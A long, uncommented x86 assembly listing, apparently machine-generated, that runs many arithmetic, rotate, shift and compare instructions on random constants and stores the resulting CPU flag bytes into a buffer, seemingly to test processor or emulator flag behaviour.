mov ecx, 0x85ed6844
cmp ecx, 0x6c220849
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x5d7aab20
rol ebx, 1
mov ebx, 0x2215594c
mov ecx, 0x5fcc41f7
rol ebx, cl
mov ecx, 0xacb8d720
dec ecx
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov ebx, 0xb3e82774
rol ebx, 1
mov edx, 0x269441d5
inc edx
lahf
mov al, ah
stosb byte es:[edi], al
mov ecx, 0x4f561a1f
mov edx, 0x2bd7dc05
sub ecx, edx
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0xdf654a3b
mov eax, 0x143a46ad
sub ebx, eax
lahf
mov byte [edi], ah
inc edi
mov edx, 0xb88cd977
mov ecx, 0x6bd55a7c
cmp edx, ecx
lahf
mov al, ah
stosb byte es:[edi], al
mov eax, 0xddf0a5a3
mov ecx, 0xcf690c04
add eax, ecx
mov eax, 0x88abde85
aas
mov ebx, 0x4870a12
inc ebx
lahf
xchg ah, al
stosb byte es:[edi], al
mov ecx, 0xa814ad94
add ecx, 0xd8bd46f9
pushfd
pop edx
mov byte [edi], dl
inc edi
mov ebx, 0xa7c53f2c
mov ecx, 0xae3c4a74
rol ebx, cl
mov ebx, 0xc353ce0
dec ebx
mov edx, 0xcf04b0fb
rol edx, 1
pushfd
pop eax
mov byte [edi], al
inc edi
mov eax, 0xd97ea22f
mov ecx, 0x1f39360d
ror eax, cl
mov eax, 0x75f5a917
dec eax
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x8dcf8910
sal ebx, 0xc3
mov ecx, 0x37ebebb2
inc ecx
lahf
mov byte [edi], ah
inc edi
mov eax, 0xeede59e9
add eax, 0x88bfad16
mov eax, 0xe478f79d
aas
mov edx, 0x129a00ef
inc edx
lahf
mov byte [edi], ah
inc edi
mov ebx, 0x5af2c215
mov ecx, 0xadfdde42
sar ebx, cl
mov ebx, 0x891223a6
mov eax, 0x8e38198
sub ebx, eax
pushfd
pop eax
mov byte [edi], al
inc edi
mov ecx, 0x5ac2ce1f
add ecx, 0xf0d3c50c
lahf
mov byte [edi], ah
inc edi
mov eax, 0x91400bb9
mov ecx, 0xb4c36c43
rol eax, cl
mov ebx, 0xcbce3210
mov ecx, 0x28c9f40c
rol ebx, cl
mov ecx, 0x3ddfd2cf
inc ecx
pushfd
pop edx
mov byte [edi], dl
inc edi
mov edx, 0x6c732a5e
mov ecx, 0xe2aa61
sal edx, cl
mov ebx, 0x241dd9b5
inc ebx
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov eax, 0x7e8c42ed
mov ecx, 0x17bf0281
rol eax, cl
mov eax, 0x20530be3
rol eax, 1
mov edx, 0x2ea806d6
shl edx, 0x34
mov ecx, 0x1f3e60fb
inc ecx
lahf
xchg al, ah
stosb byte es:[edi], al
mov ebx, 0x1931908c
rol ebx, 1
mov ecx, 0xa023fdb1
add ecx, 0x920e17e
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x83e405e2
sar ebx, 0xab
mov edx, 0xdf3f5af0
dec edx
mov edx, 0xa9d1d96a
mov ecx, 0x80f8b378
rol edx, cl
lahf
mov al, ah
stosb byte es:[edi], al
mov ebx, 0x171544ff
shl ebx, 1
mov ebx, 0xe5b88993
inc ebx
lahf
mov al, ah
stosb byte es:[edi], al
mov ebx, 0x8793d923
rol ebx, 1
mov ecx, 0x8a3d9146
dec ecx
mov ebx, 0x8d396e16
mov ecx, 0xb1002b31
rol ebx, cl
lahf
xchg al, ah
stosb byte es:[edi], al
mov edx, 0x3056d970
mov ecx, 0xaa71a43f
ror edx, cl
mov edx, 0x7cad60d3
inc edx
pushfd
pop eax
mov byte [edi], al
inc edi
mov eax, 0x2bcf8ade
aas
mov ebx, 0x11e197ff
dec ebx
mov ebx, 0xf76318a6
mov ecx, 0x2192cbfa
rol ebx, cl
pushfd
pop eax
mov byte [edi], al
inc edi
mov edx, 0xefdb0999
rol edx, 1
mov edx, 0xd58d0a90
mov ecx, 0x56248489
rol edx, cl
mov eax, 0x1a8d149
sub eax, 0x14c14a87
mov eax, 0xd0f20611
aas
mov ecx, 0x24d8b394
inc ecx
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0xb1143a68
rol ebx, 1
mov edx, 0x87440ca4
cmp edx, 0x802d65dc
lahf
mov al, ah
stosb byte es:[edi], al
mov ebx, 0x87e50c0a
mov ecx, 0x7adc81db
ror ebx, cl
mov ecx, 0x6e72f7d0
cmp ecx, 0xf2c36391
pushfd
pop edx
mov byte [edi], dl
inc edi
mov eax, 0x6e58ca6b
shl eax, 1
mov ebx, 0x32946045
sal ebx, 1
mov edx, 0xdc920630
dec edx
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0x6beaa197
mov ecx, 0x7d5455f
ror edx, cl
mov ebx, 0x76bb75bc
mov ecx, 0xb7d8dd0d
add ebx, ecx
pushfd
pop edx
mov byte [edi], dl
inc edi
mov ebx, 0xab69e7c2
mov ecx, 0xa9f09c7f
rol ebx, cl
mov edx, 0x84ab2ff4
mov ecx, 0xf6fa374b
rol edx, cl
mov ebx, 0x5f57e5a0
rol ebx, 1
mov ebx, 0x74ae23bb
rol ebx, 1
mov eax, 0x111ad10f
inc eax
lahf
xchg ah, al
stosb byte es:[edi], al
mov ebx, 0xad798db3
mov ecx, 0x2a40af0a
ror ebx, cl
mov ebx, 0xa8ed50b2
mov ecx, 0x53229fd8
cmp ebx, ecx
lahf
mov byte [edi], ah
inc edi
mov edx, 0xa02a1aef
sub edx, 0x2e1b0550
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov edx, 0x3d53baab
sar edx, 0x4d
mov ebx, 0x7e9a5c16
dec ebx
pushfd
pop edx
mov byte [edi], dl
inc edi
mov edx, 0xc9fdca0b
dec edx
mov ebx, 0x5bec03c6
rol ebx, 1
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0xb2978d36
rol edx, 1
mov eax, 0x2269a1c8
mov ecx, 0x9cf003e4
rol eax, cl
mov ebx, 0x43ab3eb6
mov ecx, 0x51faeb11
ror ebx, cl
mov eax, 0xc87faa50
mov ebx, 0x404c72b6
add eax, ebx
mov eax, 0x4911d8f9
aaa
mov edx, 0x4877e6d1
inc edx
pushfd
pop eax
mov byte [edi], al
inc edi
mov edx, 0x624ea8e5
mov ecx, 0x949be93
rol edx, cl
mov ebx, 0x3c68c2ac
mov ecx, 0xf38b3d06
rol ebx, cl
mov eax, 0xec1ac470
mov ecx, 0xaac5f08a
rol eax, cl
mov edx, 0x9359e7f0
dec edx
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x6e646eb7
shl eax, 1
mov eax, 0xcd0beaf
dec eax
pushfd
pop eax
stosb byte es:[edi], al
mov ecx, 0x1156ce2d
mov eax, 0xc5d7c2fc
sub ecx, eax
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x525c32be
rol ebx, 1
mov eax, 0x7c06664a
dec eax
mov ebx, 0x52921102
rol ebx, 1
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov edx, 0x40439e89
mov ecx, 0x81f24106
shl edx, cl
mov ebx, 0x336d3990
dec ebx
lahf
mov byte [edi], ah
inc edi
mov eax, 0xaed9befe
mov ecx, 0xd5203a44
ror eax, cl
mov edx, 0x48aa5b00
dec edx
lahf
mov al, ah
stosb byte es:[edi], al
mov eax, 0xba14d588
mov ecx, 0x82bd9361
add eax, ecx
mov edx, 0x522fdd27
mov ecx, 0x380e6b63
rol edx, cl
mov ecx, 0xd56eee0f
inc ecx
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x355d5c4c
mov ecx, 0x133461ba
rol ebx, cl
mov ecx, 0x78e892ff
inc ecx
pushfd
pop eax
mov byte [edi], al
inc edi
mov ebx, 0x76f97457
mov ecx, 0x29c0a521
sal ebx, cl
mov eax, 0x737522c0
neg eax
mov eax, 0xd2fbf235
mov ecx, 0x4c8ac5c3
shl eax, cl
mov edx, 0x6adbd7e0
dec edx
lahf
mov al, ah
stosb byte es:[edi], al
mov eax, 0x788d54eb
aas
mov eax, 0xb568fdb5
sub eax, 0x1d811a14
lahf
mov al, ah
stosb byte es:[edi], al
mov ebx, 0x1b57a278
mov ecx, 0x564401c2
add ebx, ecx
mov eax, 0x4529ce00
aas
mov eax, 0x1e4f5185
dec eax
lahf
mov byte [edi], ah
inc edi
mov eax, 0x97861a75
rol eax, 1
mov edx, 0x61e3bb93
inc edx
mov ebx, 0x29100e3b
mov ecx, 0x89d37510
ror ebx, cl
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0xb341e963
mov ecx, 0xa288e53
ror ebx, cl
mov eax, 0x44354551
inc eax
lahf
xchg al, ah
stosb byte es:[edi], al
mov ebx, 0xc2e9e993
sal ebx, 1
mov ebx, 0x901dd1f
inc ebx
lahf
xchg al, ah
stosb byte es:[edi], al
mov ecx, 0x92d780f2
mov ebx, 0x37c4f950
cmp ecx, ebx
mov eax, 0xf62efc88
aaa
mov eax, 0x473a16b2
inc eax
lahf
mov byte [edi], ah
inc edi
mov ebx, 0xe5fd9d94
shl ebx, 1
mov ebx, 0xb40232b0
mov ecx, 0x814d22de
ror ebx, cl
mov edx, 0xa50ce62e
neg edx
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x3d21cdc3
aaa
mov edx, 0xbbf71161
mov eax, 0x7a6445ec
sub edx, eax
lahf
mov byte [edi], ah
inc edi
mov eax, 0x1c7e5dcd
cmp eax, 0xb5df7677
mov edx, 0xc59a8535
mov ecx, 0xfa45df5c
ror edx, cl
mov ecx, 0x9bf95d24
mov edx, 0x773eabb2
add ecx, edx
mov edx, 0x611f329f
sal edx, 0xe7
mov eax, 0xb2074750
dec eax
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x221ee56c
inc ebx
mov eax, 0x422a6834
rol eax, 1
lahf
mov byte [edi], ah
inc edi
mov edx, 0x7a32078f
inc edx
mov eax, 0x1d8aad38
mov ecx, 0xfbf57b72
ror eax, cl
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0xd3e21936
sub edx, 0x4373b3b3
mov ebx, 0x623e1cff
sal ebx, 1
mov edx, 0xbcd84830
dec edx
lahf
xchg al, ah
stosb byte es:[edi], al
mov ebx, 0xd5c6d48e
neg ebx
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0x227f367e
mov eax, 0x924c8f71
add edx, eax
mov edx, 0x8d6b96cd
mov ecx, 0xaabad8b4
rol edx, cl
mov eax, 0x69d0411
mov ecx, 0x6174f5b6
rol eax, cl
mov edx, 0x69ff187f
inc edx
mov ebx, 0xd2cdaed9
mov ecx, 0x64d90f
ror ebx, cl
pushfd
pop eax
mov byte [edi], al
inc edi
mov edx, 0x87de3f67
mov ecx, 0xb199d77
ror edx, cl
mov eax, 0x91843ec0
dec eax
mov edx, 0x81ee1650
mov ecx, 0x6369da7e
rol edx, cl
lahf
xchg ah, al
stosb byte es:[edi], al
mov ecx, 0xd62382b7
cmp ecx, 0x7202d97
mov eax, 0x754cb4b5
aaa
mov eax, 0x776a2cb
dec eax
lahf
mov byte [edi], ah
inc edi
mov ecx, 0xca493d7d
mov ebx, 0x8f4e7fa7
cmp ecx, ebx
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0xa6e589ea
sub edx, 0x5ba71e1
mov eax, 0xc3861689
aaa
mov ebx, 0x753fb1aa
inc ebx
lahf
mov byte [edi], ah
inc edi
mov edx, 0xa3c26bbb
shl edx, 4
mov ecx, 0x523cf100
inc ecx
lahf
mov byte [edi], ah
inc edi
mov eax, 0x3b7025c4
mov ecx, 0xe9b31962
shl eax, cl
mov ecx, 0x4221b52d
dec ecx
pushfd
pop edx
mov byte [edi], dl
inc edi
mov ecx, 0xa3b8b1ea
sub ecx, 0xf5919719
mov ebx, 0x3f8c3a1f
mov edx, 0xe6d5f6f2
cmp ebx, edx
mov ebx, 0xb208c12d
dec ebx
mov ebx, 0xf095ded5
rol ebx, 1
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov ecx, 0x410364c9
mov eax, 0xc88046d1
cmp ecx, eax
mov ebx, 0x9b4b0e32
mov ecx, 0xc41afe2f
rol ebx, cl
mov eax, 0x1c795029
dec eax
lahf
mov byte [edi], ah
inc edi
mov eax, 0x2c584bc3
mov ecx, 0xed3be5c4
rol eax, cl
mov edx, 0x2e7004df
sal edx, 1
mov ebx, 0x577a903b
dec ebx
lahf
xchg ah, al
stosb byte es:[edi], al
mov ecx, 0xb0b7b1a
sub ecx, 0x3de8aef6
mov ebx, 0x94533b6b
cmp ebx, 0xa190df31
mov eax, 0x181121ef
rol eax, 1
mov eax, 0x10e8a5ee
rol eax, 1
mov edx, 0x202030d2
sar edx, 0xfb
mov eax, 0xd338bdcf
inc eax
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov eax, 0xab13f7cf
mov ecx, 0x9602ae2b
ror eax, cl
mov edx, 0xfe8172e1
mov ecx, 0x7a689d7a
shl edx, cl
mov ebx, 0x7a1ad197
sar ebx, 0x1a
mov ecx, 0x248a9a40
dec ecx
mov eax, 0x9e730b84
mov ecx, 0xbae2b058
rol eax, cl
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0xe0b65795
cmp edx, 0x51b7f80c
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov edx, 0xc0af05dd
mov ecx, 0x508ecd4c
ror edx, cl
mov ebx, 0xcc64deb
sub ebx, 0xf487f21c
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0x14c61fd
rol edx, 1
mov ebx, 0xa6493099
cmp ebx, 0x3b4ea78c
lahf
mov byte [edi], ah
inc edi
mov ecx, 0xde3c00ae
cmp ecx, 0x17c5b093
mov eax, 0x6b413d92
aaa
mov edx, 0x2e274a91
inc edx
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0x4fc48386
mov ecx, 0xdead6215
cmp edx, ecx
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov ebx, 0x14789dff
sub ebx, 0x77514aa8
mov eax, 0x378d78ac
aaa
mov eax, 0xf1e96432
mov ecx, 0xfa70b802
shl eax, cl
mov ebx, 0x2759c96f
inc ebx
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0xe3f61137
rol edx, 1
mov eax, 0x55197fc8
mov ecx, 0x2c6009b0
rol eax, cl
mov eax, 0x3245cb60
dec eax
pushfd
pop eax
mov byte [edi], al
inc edi
mov edx, 0x5ac022a9
mov ecx, 0xb4433456
ror edx, cl
mov edx, 0x9449658f
rol edx, 1
mov ecx, 0x4ef1f240
neg ecx
mov edx, 0xbed4bd4c
mov ecx, 0x8c271e1f
sar edx, cl
mov eax, 0x7793d7a9
rol eax, 1
mov ebx, 0x8c19c052
mov ecx, 0xdf601fb4
rol ebx, cl
mov eax, 0xa551a860
cmp eax, 0x41b6912b
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov eax, 0x2f9efe50
cmp eax, 0x9a7fa8da
lahf
mov byte [edi], ah
inc edi
mov ebx, 0x5a770e83
rol ebx, 1
mov eax, 0x3e7c6f89
mov ecx, 0x216f6995
ror eax, cl
mov eax, 0xaaf30dff
inc eax
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x8220c0d
mov ecx, 0x11ed30a5
rol ebx, cl
mov eax, 0x8a83ecfb
rol eax, 1
mov eax, 0x98c44710
dec eax
mov edx, 0xc248af8a
rol edx, 1
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov eax, 0x956dcb5c
aas
mov ebx, 0xa6fabf41
mov ecx, 0x74ab0f30
cmp ebx, ecx
mov eax, 0x1b52f0da
aas
mov edx, 0x84616316
sar edx, 0xf7
mov ebx, 0x296a38df
inc ebx
lahf
mov al, ah
stosb byte es:[edi], al
mov ebx, 0x2009091b
rol ebx, 1
mov eax, 0x544bc820
inc eax
lahf
mov byte [edi], ah
inc edi
mov eax, 0x1d79564f
mov ecx, 0x5a40742d
rol eax, cl
mov ebx, 0x8807e78b
sar ebx, 0x71
mov eax, 0x94a9ddd0
mov ecx, 0x7030845a
rol eax, cl
mov ecx, 0x39fd86b0
dec ecx
lahf
mov al, ah
stosb byte es:[edi], al
mov eax, 0x8bec334c
rol eax, 1
mov edx, 0xec25b675
mov ebx, 0x1faa7c7
cmp edx, ebx
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x610511b0
dec ebx
mov edx, 0x1d267b20
mov ecx, 0x8816f5b
rol edx, cl
pushfd
pop eax
mov byte [edi], al
inc edi
mov eax, 0x625f82cd
add eax, 0x4ac79e6
lahf
mov byte [edi], ah
inc edi
mov ebx, 0x5cd34918
cmp ebx, 0x10e9da
lahf
mov al, ah
stosb byte es:[edi], al
mov edx, 0x9e41550d
rol edx, 1
mov ebx, 0xd479cdd6
rol ebx, 1
mov ebx, 0x3d6c3306
dec ebx
pushfd
pop edx
mov byte [edi], dl
inc edi
mov eax, 0x2f7a3546
rol eax, 1
mov ebx, 0x33d270d7
inc ebx
pushfd
pop eax
mov byte [edi], al
inc edi
mov edx, 0xc4910621
sub edx, 0xff6bf6b
lahf
mov byte [edi], ah
inc edi
mov eax, 0x2239ca32
add eax, 0x207e4edc
lahf
mov byte [edi], ah
inc edi
mov ebx, 0xd87345db
add ebx, 0x63305680
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov ebx, 0x2929a4e
inc ebx
mov ebx, 0x43bf66cc
mov ecx, 0xb5de9445
rol ebx, cl
lahf
xchg al, ah
stosb byte es:[edi], al
mov ebx, 0x3990e53d
sal ebx, 1
mov ecx, 0x4ec65b7f
inc ecx
lahf
xchg al, ah
stosb byte es:[edi], al
mov ebx, 0x709e9913
rol ebx, 1
mov ebx, 0x58384315
inc ebx
mov eax, 0x5c4dedc8
rol eax, 1
lahf
mov byte [edi], ah
inc edi
mov ebx, 0x228bee64
mov ecx, 0xe05a2621
sal ebx, cl
mov eax, 0x20b2ad9c
inc eax
pushfd
pop eax
mov byte [edi], al
inc edi
mov ecx, 0x274ae2b
mov ebx, 0x939d9cc7
sub ecx, ebx
mov eax, 0xf0a49dcd
aas
mov ecx, 0xe09768f
inc ecx
lahf
mov byte [edi], ah
inc edi
mov eax, 0x70be7be2
rol eax, 1
mov edx, 0xe607ce80
dec edx
lahf
mov byte [edi], ah
inc edi
mov eax, 0xc4ccc536
mov ecx, 0x8efff126
sar eax, cl
mov eax, 0xbb48a53e
mov ecx, 0xa1eb0b2a
ror eax, cl
mov eax, 0xbd9217a8
aaa
mov edx, 0x8678c9bb
shl edx, 0x9b
mov eax, 0x1bcb9b0
dec eax
lahf
mov byte [edi], ah
inc edi
mov eax, 0x5fa71f99
mov ecx, 0xb066a077
ror eax, cl
mov ecx, 0xe375e0f2
sub ecx, 0xaf0a6a36
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov edx, 0xc6349752
shl edx, 0xa5
mov ecx, 0xca15d2f3
dec ecx
pushfd
pop eax
mov byte [edi], al
inc edi
mov edx, 0xa8da6ff8
sal edx, 1
mov ecx, 0x22e7fa82
dec ecx
lahf
mov byte [edi], ah
inc edi
mov ebx, 0x87df5eb6
dec ebx
mov edx, 0xc2fb2f25
mov ecx, 0xfc8a81bc
ror edx, cl
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x92e2bf98
mov ecx, 0xfade3d1
ror ebx, cl
mov eax, 0xc85c77a8
rol eax, 1
mov eax, 0x8c6a5d
mov ecx, 0x61bfdfd5
ror eax, cl
mov eax, 0xc9b75aa7
inc eax
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0xa1258acf
sub ebx, 0x12fa651f
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0xe902e7ad
sub ebx, 0x2135b97
mov eax, 0x6d7c182e
aaa
mov edx, 0x8f5fdf40
dec edx
pushfd
pop eax
mov byte [edi], al
inc edi
mov ecx, 0x219dfca9
add ecx, 0x5612f8af
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x22f8d042
mov ecx, 0x1a5bb1e1
rol eax, cl
mov edx, 0x1378a8d
inc edx
pushfd
pop edx
mov byte [edi], dl
inc edi
mov eax, 0x2d1af31c
cmp eax, 0x504b94d9
mov ebx, 0xa682ee39
mov ecx, 0xadcd1501
ror ebx, cl
mov ebx, 0x59c9b988
inc ebx
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0x98f0e4df
mov ecx, 0x4d332f83
shl edx, cl
mov ecx, 0x6dfa9ad4
inc ecx
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0xc252e51e
mov ecx, 0x96dd473d
shl ebx, cl
mov eax, 0xff6b6713
add eax, 0x8ac8b318
mov eax, 0x8b74188f
aaa
mov ebx, 0xfe397ee4
rol ebx, 1
mov eax, 0x2f304dd0
dec eax
lahf
xchg al, ah
stosb byte es:[edi], al
mov edx, 0xdeeb17fa
mov ecx, 0x523a4ee6
ror edx, cl
mov eax, 0xf68d4aa8
sub eax, 0x2042c31e
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov ecx, 0xbf9ca60
dec ecx
mov edx, 0xe016df18
rol edx, 1
lahf
mov byte [edi], ah
inc edi
mov edx, 0x8bf0ea60
neg edx
mov edx, 0x5875d32a
rol edx, 1
mov edx, 0x71ef8964
mov ecx, 0xfeceed65
sal edx, cl
mov edx, 0x6383f5e0
dec edx
lahf
xchg ah, al
stosb byte es:[edi], al
mov eax, 0x60d7b761
sal eax, 0x27
mov edx, 0x58f21e87
rol edx, 1
mov ebx, 0x5fbb34c4
rol ebx, 1
mov eax, 0xe66a871e
mov ebx, 0x975b1258
sub eax, ebx
mov edx, 0xd2a28d6
mov ebx, 0x971b73a2
sub edx, ebx
mov edx, 0x6e06bb6d
mov ecx, 0x90e178f9
rol edx, cl
mov eax, 0x9ca8925b
mov ecx, 0xaccb38d2
sar eax, cl
mov edx, 0xf97ce0b0
mov ecx, 0xe86fa9ea
sar edx, cl
mov edx, 0xb2215702
mov ecx, 0x388831e5
sal edx, cl
mov ebx, 0xc9cd710f
inc ebx
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0xcafc78da
rol eax, 1
mov ebx, 0xd2df9675
add ebx, 0xeb2cade4
mov eax, 0x69a72c3
mov ecx, 0x9f453bc2
rol eax, cl
mov ebx, 0x9c7cc85f
shl ebx, 1
mov ebx, 0x7526d3dc
inc ebx
lahf
mov byte [edi], ah
inc edi
mov edx, 0x8b88d7cb
sal edx, 0x23
mov ecx, 0x165d50f1
inc ecx
lahf
mov byte [edi], ah
inc edi
mov edx, 0xbc63ebd8
cmp edx, 0x90604c40
mov eax, 0x528c908e
aas
mov eax, 0xa8339bcf
inc eax
pushfd
pop eax
stosb byte es:[edi], al
mov ecx, 0x4d766cf5
mov eax, 0x1f770150
add ecx, eax
mov eax, 0x3f7c257a
aaa
mov edx, 0xec0a4d4f
inc edx
pushfd
pop eax
stosb byte es:[edi], al
mov ecx, 0x145b680c
mov eax, 0x94f8d4ba
add ecx, eax
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0xca4bf0b6
rol eax, 1
mov eax, 0x5c7dac1d
inc eax
lahf
mov al, ah
stosb byte es:[edi], al
mov eax, 0x8d1fa788
aaa
mov ecx, 0x6ffab93
mov ebx, 0xdccc01f5
cmp ecx, ebx
lahf
mov byte [edi], ah
inc edi
mov eax, 0x7f5a37a
dec eax
mov eax, 0x2e713130
rol eax, 1
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov eax, 0xd865651d
sub eax, 0x193a28c2
pushfd
pop eax
mov byte [edi], al
inc edi
mov ecx, 0x44908c70
dec ecx
mov eax, 0xbc9a1e5e
mov ecx, 0x6d456643
rol eax, cl
pushfd
pop edx
mov byte [edi], dl
inc edi
mov ecx, 0x9ef94dd0
neg ecx
mov ebx, 0x785510f0
mov ecx, 0x270c653a
rol ebx, cl
mov ebx, 0xff28e3d1
mov edx, 0x4417d18
sub ebx, edx
lahf
mov byte [edi], ah
inc edi
mov ecx, 0x5ecd1eb0
dec ecx
mov eax, 0xfceffb0e
rol eax, 1
lahf
xchg ah, al
stosb byte es:[edi], al
mov ecx, 0x142cc423
add ecx, 0x2ef5f91d
lahf
xchg al, ah
stosb byte es:[edi], al
mov edx, 0xe130ecef
sub edx, 0xb1a953df
lahf
mov byte [edi], ah
inc edi
mov eax, 0xe3deb3d3
cmp eax, 0xd9bfbc59
pushfd
pop edx
mov byte [edi], dl
inc edi
mov eax, 0xfd77cd6c
shl eax, 1
mov ecx, 0xe40dc21e
cmp ecx, 0x3fc2bfb1
mov eax, 0x51ad1fb
aas
mov ebx, 0x5ca0634f
inc ebx
lahf
mov al, ah
stosb byte es:[edi], al
mov eax, 0x121bf762
rol eax, 1
mov eax, 0x2dd041c3
mov ecx, 0xa99394d6
sal eax, cl
mov edx, 0xdc3d0400
dec edx
lahf
mov byte [edi], ah
inc edi
mov ebx, 0x55f584bc
sal ebx, 0xba
mov edx, 0x7fc408f2
inc edx
pushfd
pop edx
mov byte [edi], dl
inc edi
mov ebx, 0x35cf9e0
rol ebx, 1
mov eax, 0x3d1d2bc5
dec eax
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x6c1c5c76
mov ecx, 0x18f54aa
ror eax, cl
mov eax, 0x99effa6
inc eax
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov ebx, 0xcd11b9bf
mov ecx, 0x293855ab
rol ebx, cl
mov edx, 0xd499926
sal edx, 1
mov ecx, 0x495a9d61
inc ecx
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0xc136fb0f
rol ebx, 1
mov eax, 0x4d27993d
rol eax, 1
mov ebx, 0x94c37da7
inc ebx
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0x9aeff8fd
mov ecx, 0x2bce2e76
ror edx, cl
mov ecx, 0x2a3a2309
cmp ecx, 0xd6eb18a0
mov eax, 0xe4f40b3a
aaa
mov eax, 0x8ea86a70
dec eax
lahf
xchg ah, al
stosb byte es:[edi], al
mov eax, 0xc3f9d77d
sal eax, 1
mov eax, 0x14a40df9
mov edx, 0xf20d722f
sub eax, edx
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0xbb1a6eaa
aas
mov edx, 0x95eb23d3
mov ecx, 0x853a2a63
shl edx, cl
mov eax, 0x3338c98
rol eax, 1
mov edx, 0x48b987d5
mov ecx, 0x2a80e910
ror edx, cl
mov ebx, 0x4b288aed
rol ebx, 1
mov edx, 0xdbb1851f
inc edx
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov ecx, 0x54c7468f
inc ecx
mov eax, 0x76639fa2
mov ecx, 0x3c92b1c8
ror eax, cl
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x56fa9337
rol eax, 1
mov edx, 0x80d69eaa
mov ecx, 0xecf128a6
rol edx, cl
mov ecx, 0xe71f6fbc
cmp ecx, 0xa6cc2d4
mov eax, 0xc7dade23
mov ecx, 0x9d859194
ror eax, cl
mov ebx, 0x6aadfc92
sub ebx, 0x51e295a6
pushfd
pop eax
mov byte [edi], al
inc edi
mov edx, 0x3b3a66fc
rol edx, 1
mov eax, 0xe6eafd79
mov ebx, 0xcddb143e
cmp eax, ebx
pushfd
pop eax
stosb byte es:[edi], al
mov ecx, 0x4a66fcdf
inc ecx
mov ebx, 0x14387f2
rol ebx, 1
lahf
xchg ah, al
stosb byte es:[edi], al
mov eax, 0xbe316e27
rol eax, 1
mov edx, 0xc1333d85
dec edx
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov ebx, 0x95a1e8f3
rol ebx, 1
mov ecx, 0x927c03a
mov eax, 0xf7d482a9
add ecx, eax
pushfd
pop eax
mov byte [edi], al
inc edi
mov ebx, 0x4ce2ef00
mov edx, 0xc873b359
add ebx, edx
mov eax, 0xb25cabc2
aas
mov eax, 0x286033b6
dec eax
pushfd
pop eax
mov byte [edi], al
inc edi
mov eax, 0x8ebc27be
sal eax, 1
mov ebx, 0x3f959217
rol ebx, 1
mov eax, 0xefe40397
mov ecx, 0x97773463
ror eax, cl
mov edx, 0xc428200f
inc edx
mov ebx, 0xfad492b0
mov ecx, 0x3827adbf
ror ebx, cl
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0xdbc944d5
sal eax, 1
mov ebx, 0x94d7bcb0
dec ebx
lahf
mov al, ah
stosb byte es:[edi], al
mov eax, 0x47cf4823
rol eax, 1
mov eax, 0x69b53494
mov ecx, 0x81eca1db
rol eax, cl
mov ecx, 0xe2f0cf10
dec ecx
lahf
mov byte [edi], ah
inc edi
mov edx, 0xa1ab0f45
rol edx, 1
mov edx, 0x9c60678
dec edx
lahf
mov al, ah
stosb byte es:[edi], al
mov ebx, 0xd74910bf
cmp ebx, 0x184ea0bd
mov eax, 0x518b6c9d
aaa
mov edx, 0x24b9b530
dec edx
lahf
mov al, ah
stosb byte es:[edi], al
mov ecx, 0xf3447eaf
add ecx, 0x7c2df7a1
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0xdc70016f
inc ebx
mov edx, 0x4f9cb7ce
rol edx, 1
lahf
mov al, ah
stosb byte es:[edi], al
mov edx, 0xdc5dfdd6
shl edx, 1
mov ebx, 0x588db2bc
sub ebx, 0xda42c73a
mov eax, 0x6f9a88cd
aas
mov ebx, 0x67691a2f
inc ebx
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x73081bde
rol ebx, 1
mov eax, 0xc50d4e7
sal eax, 1
mov eax, 0x263c3c86
mov ecx, 0xd02f6bd9
sar eax, cl
mov edx, 0xe5cf9440
mov ecx, 0x562e919e
rol edx, cl
mov edx, 0x4619537f
inc edx
lahf
mov byte [edi], ah
inc edi
mov edx, 0x6fe016a
mov ecx, 0x92b91145
sal edx, cl
mov ebx, 0x950ad5db
inc ebx
lahf
mov byte [edi], ah
